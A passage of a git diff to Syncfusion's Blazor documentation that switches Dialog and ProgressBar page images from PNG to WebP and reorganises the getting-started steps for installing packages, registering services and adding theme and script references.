+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Dialog provider
+
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Dialog provider in the **~/Pages/Index.razor** file.
 
 `SfDialogProvider` opens predefined dialogs based on `SfDialogService` settings from anywhere in the application. Add `SfDialogProvider` in `MainLayout.razor` or in a specific page, but include it only once in the app. When added to `MainLayout.razor`, predefined dialogs can be opened from anywhere in the application. When added to a specific page, dialogs can be opened only within that page.
 
@@ -206,7 +169,7 @@ An alert dialog is used to display errors, warnings, or informational messages t
 In the following example, an alert dialog is displayed when a Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor [Button](https://blazor.syncfusion.com/documentation/button/getting-started) is clicked.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 {% include_relative code-snippet/alert-dialog.razor %}
 
@@ -222,7 +185,7 @@ A confirm dialog displays a specified message along with `OK` and `Cancel` butto
 In the following example, the confirm dialog is displayed and returns a value based on the `OK` or `Cancel` button click.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 {% include_relative code-snippet/confirm-dialog.razor %}
 
@@ -238,7 +201,7 @@ A prompt dialog is used to get input from the user using the [DialogService.Prom
 In the following example, the prompt dialog is displayed and returns a value based on the `OK` or `Cancel` button click.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 {% include_relative code-snippet/prompt-dialog.razor %}
 
diff --git a/blazor/progress-bar/animation.md b/blazor/progress-bar/animation.md
index 76219d896b..d6141d055c 100644
--- a/blazor/progress-bar/animation.md
+++ b/blazor/progress-bar/animation.md
@@ -21,4 +21,4 @@ The progress bar supports animation, which can be enabled by setting the [Enable
 </SfProgressBar>
 ```
 
-![Blazor ProgressBar with Animation](images/blazor-progressbar-animation.png)
+![Blazor ProgressBar with Animation](images/blazor-progressbar-animation.webp)
diff --git a/blazor/progress-bar/customization.md b/blazor/progress-bar/customization.md
index b0c3297f9e..036b863a96 100644
--- a/blazor/progress-bar/customization.md
+++ b/blazor/progress-bar/customization.md
@@ -23,7 +23,7 @@ Divide a progress bar into multiple segments by using the [SegmentCount](https:/
 </SfProgressBar>
 ```
 
-![Blazor ProgressBar with Segments](images/blazor-progressbar-with-segments.png)
+![Blazor ProgressBar with Segments](images/blazor-progressbar-with-segments.webp)
 
 ## Thickness
 
@@ -36,7 +36,7 @@ You can customize the thickness of the track using the [TrackThickness](https://
 </SfProgressBar>
 ```
 
-![Blazor ProgressBar with Thickness](images/blazor-progressbar-with-thickness.png)
+![Blazor ProgressBar with Thickness](images/blazor-progressbar-with-thickness.webp)
 
 
 ```cshtml
@@ -49,7 +49,7 @@ You can customize the thickness of the track using the [TrackThickness](https://
 </SfProgressBar>
 ```
 
-![Blazor Secondary ProgressBar with Thickness](images/blazor-progressbar-secondaryprogressbar-thickness.png)
+![Blazor Secondary ProgressBar with Thickness](images/blazor-progressbar-secondaryprogressbar-thickness.webp)
 
 ## Radius
 
@@ -62,7 +62,7 @@ The radius of the progress bar can be customized using the [Radius](https://help
 </SfProgressBar>
 ```
 
-![Blazor ProgressBar with Radius](images/blazor-progressbar-with-radius.png)
+![Blazor ProgressBar with Radius](images/blazor-progressbar-with-radius.webp)
 
 ## Inner Radius
 
@@ -76,7 +76,7 @@ The inner radius of the progress bar can be customized using the [InnerRadius](h
 </SfProgressBar>
 ```
 
-![Blazor ProgressBar with Inner Radius](images/blazor-progressbar-with-inner-radius.png)
+![Blazor ProgressBar with Inner Radius](images/blazor-progressbar-with-inner-radius.webp)
 
 ## Progress Color and Track Color
 
@@ -91,7 +91,7 @@ We can customize the color of the progress, secondary progress, and track using
 </SfProgressBar>
 ```
 
-![Customizing Blazor ProgressBar and Track Color](images/blazor-progressbar-and-trackbar-with-custom-color.png)
+![Customizing Blazor ProgressBar and Track Color](images/blazor-progressbar-and-trackbar-with-custom-color.webp)
 
 ```cshtml
 @using Syncfusion.Blazor.ProgressBar
@@ -103,7 +103,7 @@ We can customize the color of the progress, secondary progress, and track using
 </SfProgressBar>
 ```
 
-![Customizing Blazor Secondary ProgressBar Color](images/blazor-progressbar-secondaryprogressbar-color.png)
+![Customizing Blazor Secondary ProgressBar Color](images/blazor-progressbar-secondaryprogressbar-color.webp)
 
 ## Range Colors
 
@@ -124,7 +124,7 @@ The [Color](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.
 </SfProgressBar>
 ```
 
-![Changing Range Color in Blazor ProgressBar](images/blazor-progressbar-change-range-color.png)
+![Changing Range Color in Blazor ProgressBar](images/blazor-progressbar-change-range-color.webp)
 
 ## RTL
 
@@ -140,7 +140,7 @@ The progress bar supports right-to-left (RTL) rendering, which can be enabled by
 </SfProgressBar>
 ```
 
-![Right-to-left in Blazor ProgressBar](images/blazor-progressbar-right-to-left.png)
+![Right-to-left in Blazor ProgressBar](images/blazor-progressbar-right-to-left.webp)
 
 ## Progress Bar Visibility 
 
@@ -172,7 +172,7 @@ The progress bar visibility can be changed by using the [Visible](https://help.s
 }
 ```
 
-![Blazor ProgressBar Visibility](images/progress-bar-visibility.gif)
+![Blazor ProgressBar Visibility](images/progress-bar-visibility.webp)
 
 ## Progress Bar Margin
 
@@ -187,4 +187,4 @@ The spacing between the progress bar and its container can be adjusted using the
 </SfProgressBar>
 ```
 
-![Margin in Blazor ProgressBar](images/blazor-progressbar-margin.png)
+![Margin in Blazor ProgressBar](images/blazor-progressbar-margin.webp)
diff --git a/blazor/progress-bar/getting-started-webapp.md b/blazor/progress-bar/getting-started-webapp.md
index 3fca9f6f1c..04f1db61a3 100644
--- a/blazor/progress-bar/getting-started-webapp.md
+++ b/blazor/progress-bar/getting-started-webapp.md
@@ -175,7 +175,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htVzNiAXLOxVFFXR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Linear ProgressBar](images/blazor-linear-progressbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htVzNiAXLOxVFFXR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Linear ProgressBar](images/blazor-linear-progressbar.webp)" %}
 
 N> [View Sample in GitHub.](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ProgressBar)
 
@@ -192,6 +192,6 @@ Change the type of the ProgressBar by using the [Type](https://help.syncfusion.c
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhpDMUZLacfZQlu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Circular ProgressBar](images/blazor-circular-progressbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhpDMUZLacfZQlu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Circular ProgressBar](images/blazor-circular-progressbar.webp)" %}
 
 N> You can also explore our [Blazor ProgressBar example](https://blazor.syncfusion.com/demos/progress-bar/linear) that shows you how to render and configure the ProgressBar.
\ No newline at end of file
diff --git a/blazor/progress-bar/getting-started-with-server-app.md b/blazor/progress-bar/getting-started-with-server-app.md
index d169b39442..98cd1380ac 100644
--- a/blazor/progress-bar/getting-started-with-server-app.md
+++ b/blazor/progress-bar/getting-started-with-server-app.md
@@ -169,7 +169,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htVzNiAXLOxVFFXR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Linear ProgressBar](images/blazor-linear-progressbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htVzNiAXLOxVFFXR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Linear ProgressBar](images/blazor-linear-progressbar.webp)" %}
 
 N> [View Sample in GitHub.](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ProgressBar)
 
@@ -186,6 +186,6 @@ Change the type of the ProgressBar by using the [Type](https://help.syncfusion.c
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhpDMUZLacfZQlu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Circular ProgressBar](images/blazor-circular-progressbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhpDMUZLacfZQlu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Circular ProgressBar](images/blazor-circular-progressbar.webp)" %}
 
 N> You can also explore our [Blazor ProgressBar example](https://blazor.syncfusion.com/demos/progress-bar/linear) that shows you how to render and configure the ProgressBar.
\ No newline at end of file
diff --git a/blazor/progress-bar/getting-started.md b/blazor/progress-bar/getting-started.md
index 046b9a5e22..b734d1aed7 100644
--- a/blazor/progress-bar/getting-started.md
+++ b/blazor/progress-bar/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor ProgressBar Component
 
-This section briefly explains about how to include [Blazor ProgressBar](https://www.syncfusion.com/blazor-components/blazor-progressbar) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get started quickly with the Blazor ProgressBar component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ProgressBar) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar](https://www.syncfusion.com/blazor-components/blazor-progressbar) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get started quickly with the Blazor ProgressBar component, refer to this [Git
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar and Themes NuGet in the App
-
-To add the **Blazor ProgressBar** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.ProgressBar](https://www.nuget.org/packages/Syncfusion.Blazor.ProgressBar) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.ProgressBar -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.ProgressBar](https://www.nuget.org/packages/Syncfusion.Blazor.ProgressBar) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.ProgressBar -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.ProgressBar](https://www.nuget.org/packages/Syncfusion.Blazor.ProgressBar/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor ProgressBar** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.ProgressBar](https://www.nuget.org/packages/Syncfusion.Blazor.ProgressBar/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.ProgressBar -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.ProgressBar -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.ProgressBar` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.ProgressBar` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor ProgressBar component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfProgressBar Value="50" Minimum="0" Maximum="100" TrackThickness="12" ProgressThickness="12">
 </SfProgressBar>
@@ -202,14 +156,16 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar comp
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor ProgressBar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htVzNiAXLOxVFFXR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Linear ProgressBar](images/blazor-linear-progressbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htVzNiAXLOxVFFXR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Linear ProgressBar](images/blazor-linear-progressbar.webp)" %}
+
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/ProgressBar).
 
 ## Circular Progress Bar Type
 
 Change the type of the ProgressBar by using the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressType.html) property. By default, the [Linear](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressType.html#Syncfusion_Blazor_ProgressBar_ProgressType_Linear) type of ProgressBar will be rendered. In the following example, view the [Circular](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.ProgressBar.ProgressType.html#Syncfusion_Blazor_ProgressBar_ProgressType_Circular) type.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfProgressBar Type="ProgressType.Circular" Value="70" Minimum="0" Maximum="100" TrackThickness="8" ProgressThickness="8">
 </SfProgressBar>
@@ -217,6 +173,6 @@ Change the type of the ProgressBar by using the [Type](https://help.syncfusion.c
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhpDMUZLacfZQlu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Circular ProgressBar](images/blazor-circular-progressbar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhpDMUZLacfZQlu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Circular ProgressBar](images/blazor-circular-progressbar.webp)" %}
 
-N> You can also explore our [Blazor ProgressBar example](https://blazor.syncfusion.com/demos/progress-bar/linear?theme=fluent) that shows you how to render and configure the ProgressBar.
+N> You can also explore our [Blazor ProgressBar example](https://blazor.syncfusion.com/demos/progress-bar/linear) that shows you how to render and configure the ProgressBar.
diff --git a/blazor/progress-bar/images/Blazor-server-app-creation.png b/blazor/progress-bar/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/progress-bar/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/progress-bar/images/Blazor-server-app-creation.webp b/blazor/progress-bar/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/progress-bar/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/progress-bar/images/blazor-active-progressbar.png b/blazor/progress-bar/images/blazor-active-progressbar.png
deleted file mode 100644
index 59b027acd8..0000000000
Binary files a/blazor/progress-bar/images/blazor-active-progressbar.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-active-progressbar.webp b/blazor/progress-bar/images/blazor-active-progressbar.webp
new file mode 100644
index 0000000000..2f22388429
Binary files /dev/null and b/blazor/progress-bar/images/blazor-active-progressbar.webp differ
diff --git a/blazor/progress-bar/images/blazor-app-interactive-mode.png b/blazor/progress-bar/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/progress-bar/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-app-interactive-mode.webp b/blazor/progress-bar/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/progress-bar/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/progress-bar/images/blazor-buffer-progressbar.png b/blazor/progress-bar/images/blazor-buffer-progressbar.png
deleted file mode 100644
index 5e435dc65b..0000000000
Binary files a/blazor/progress-bar/images/blazor-buffer-progressbar.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-buffer-progressbar.webp b/blazor/progress-bar/images/blazor-buffer-progressbar.webp
new file mode 100644
index 0000000000..b611c88401
Binary files /dev/null and b/blazor/progress-bar/images/blazor-buffer-progressbar.webp differ
diff --git a/blazor/progress-bar/images/blazor-circular-progressbar.png b/blazor/progress-bar/images/blazor-circular-progressbar.png
deleted file mode 100644
index e4ba67604f..0000000000
Binary files a/blazor/progress-bar/images/blazor-circular-progressbar.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-circular-progressbar.webp b/blazor/progress-bar/images/blazor-circular-progressbar.webp
new file mode 100644
index 0000000000..4c569db46f
Binary files /dev/null and b/blazor/progress-bar/images/blazor-circular-progressbar.webp differ
diff --git a/blazor/progress-bar/images/blazor-create-web-app.png b/blazor/progress-bar/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/progress-bar/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-create-web-app.webp b/blazor/progress-bar/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/progress-bar/images/blazor-create-web-app.webp differ
diff --git a/blazor/progress-bar/images/blazor-determinate-progressbar.png b/blazor/progress-bar/images/blazor-determinate-progressbar.png
deleted file mode 100644
index bf6c6cad37..0000000000
Binary files a/blazor/progress-bar/images/blazor-determinate-progressbar.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-determinate-progressbar.webp b/blazor/progress-bar/images/blazor-determinate-progressbar.webp
new file mode 100644
index 0000000000..ee67cc880b
Binary files /dev/null and b/blazor/progress-bar/images/blazor-determinate-progressbar.webp differ
diff --git a/blazor/progress-bar/images/blazor-indeterminate-progressbar.png b/blazor/progress-bar/images/blazor-indeterminate-progressbar.png
deleted file mode 100644
index 1d0db89b09..0000000000
Binary files a/blazor/progress-bar/images/blazor-indeterminate-progressbar.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-indeterminate-progressbar.webp b/blazor/progress-bar/images/blazor-indeterminate-progressbar.webp
new file mode 100644
index 0000000000..b9947de11b
Binary files /dev/null and b/blazor/progress-bar/images/blazor-indeterminate-progressbar.webp differ
diff --git a/blazor/progress-bar/images/blazor-linear-progressbar.png b/blazor/progress-bar/images/blazor-linear-progressbar.png
deleted file mode 100644
index b9ea218506..0000000000
Binary files a/blazor/progress-bar/images/blazor-linear-progressbar.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-linear-progressbar.webp b/blazor/progress-bar/images/blazor-linear-progressbar.webp
new file mode 100644
index 0000000000..c2c6fc29a3
Binary files /dev/null and b/blazor/progress-bar/images/blazor-linear-progressbar.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-and-trackbar-with-custom-color.png b/blazor/progress-bar/images/blazor-progressbar-and-trackbar-with-custom-color.png
deleted file mode 100644
index ea25ca238b..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-and-trackbar-with-custom-color.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-and-trackbar-with-custom-color.webp b/blazor/progress-bar/images/blazor-progressbar-and-trackbar-with-custom-color.webp
new file mode 100644
index 0000000000..2dfc07e8ed
Binary files /dev/null and b/blazor/progress-bar/images/blazor-progressbar-and-trackbar-with-custom-color.webp differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-animation.png b/blazor/progress-bar/images/blazor-progressbar-animation.png
deleted file mode 100644
index 577847af0c..0000000000
Binary files a/blazor/progress-bar/images/blazor-progressbar-animation.png and /dev/null differ
diff --git a/blazor/progress-bar/images/blazor-progressbar-animation.webp b/blazor/progress-bar/images/blazor-progressbar-animation.webp
new file mode 100644
